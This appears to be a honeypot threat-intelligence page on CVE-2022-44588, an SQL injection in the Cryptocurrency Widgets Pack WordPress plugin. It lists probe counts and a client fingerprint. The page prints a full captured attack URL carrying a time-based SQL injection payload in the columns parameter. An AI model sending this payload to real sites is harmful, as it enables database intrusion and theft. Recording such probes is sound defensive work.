CVE-2022-44588: Cryptocurrency Widgets Pack <= 1.8.1 - SQL Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2022-44588 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

• /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&draw=1&start=0&length=10&columns[0][name]=EXP(~(SELECT*FROM(SELECT+…

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&draw=1&start=0&length=10&columns[0][name]=EXP(~(SELECT*FROM(SELECT+SLEEP(8))x))&order[0][column]=0&order[0][dir]=ASC

HTTP client fingerprints

• b11cun051_00040013_2619b3ac_xff63